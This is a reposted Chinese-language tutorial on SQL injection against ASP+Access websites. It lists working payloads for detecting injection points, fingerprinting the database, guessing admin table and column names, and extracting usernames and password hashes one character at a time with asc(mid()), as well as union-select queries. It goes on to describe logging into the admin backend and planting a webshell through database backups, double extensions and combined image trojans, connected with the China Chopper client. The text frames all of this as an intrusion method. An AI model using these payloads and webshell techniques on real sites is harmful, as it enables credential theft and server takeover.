ASP+Access注入

来源:互联网 发布:了凡四训 知乎 编辑:程序博客网 时间:2024/05/16 09:24

基础知识:ASP+MSAccess通常被用来开发简单的web应用程序,并在IIS上运行。较复杂的web应用程序则使用PHP+Mysql或者ASP+MSSQL开发。

判断是否为注入点:

通过添加单引号', 页面返回错误提示:Microsoft JET Database Engine 错误 ‘80040e14’

永真条件and 1=1和永假条件and 1=2

判断数据库类型:

内置变量判断数据库类型:

and user>0  //user是sql server的内置变量,字符类型为nvarchar 如与int比较 如果是sql server会直接报错,是Access会提示没有改变量

例如:Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e10' 
[Microsoft][ODBC Microsoft Access Driver] 参数不足,期待是 1。 

内置数据表判断数据库类型:

and (select count(*) from sysobjects)>=0      //SQL Server的系统表为sysobjects,在web环境下可正常读取

and (select count(*) from msysobjects)>=0  //Access的系统表为msysobjects,在web环境下没有权限读取

猜表名:

and exists (select * from admin) //exists指定一个子查询,返回布尔型

and (select count(*) from admin)>=0 //count用于统计表中所有字段

猜字段名(用户名和密码字段):

and exists(select id from admin)  //若表中存在id字段,则页面返回正常

and (select count(username) from admin)>=0  //表名猜出来后,将count(*)替换成count(字段名)

猜字段长度:

and exists (select id from admin where len(username)=5 and id=2)

and (select top 1 len(username) from admin)>4

and (select top 1 len(username) from admin)>5

猜字段数据:猜解Access只能使用ASCII逐字解码法

and (select top 1 asc(mid(username,1,1)) from admin)>0

and (select top 1 asc(mid(username,1,1)) from admin)<100

and (select top 1 asc(mid(username,1,1)) from admin)=50

例如:猜测md5密码为3995a800sd398d3d,然后对密码破解

寻找后台登录地址,登录后上传webshell:

一般后台都放在admin,message目录下,例如:http://www.baidu.com/admin/。可以使用猜到的账号和密码登录后台

导出数据库内容到文本文件:

select * into [test.txt] in 'd:\web\' 'text;' from admin //d:\web为网站路径

上传webshell:

前提条件:拿到管理员用户名和密码,进入后台才是一切入侵的基本条件。

进入后台后首先检查一下有没有数据库备份功能,假设有

方法1.上传一句话木马,将一句话木马写入数据库,备份数据库将一句话变成后缀为.asp文件,记录备份后的文件地址,然后通过客户端菜刀进行连接访问拿下webshell.

方法2.修改木马后缀名,将木马文件后缀名.asp改为.asp.jpg上传,记录文件上传路径,使用菜刀连接

方法3.构造asp图片木马:

1.构造木马图片,将数据库文件lubr.mdb插入到木马图片pic.jpg中,输出合成文件jim.jpg。例如:copy pic.jpg+lubr.mdb jim.jpg

2.上传木马图片,记录文件上传路径。例如:uploadfile/2017028.jpg;

3.客户端连接木马,使用中国菜刀。

SQL注入中的高效查询:

Order by猜字段数目:

order by 1

order by 2

Union select查询字段内容:

and 1=2 union select 1,字段名 from 表名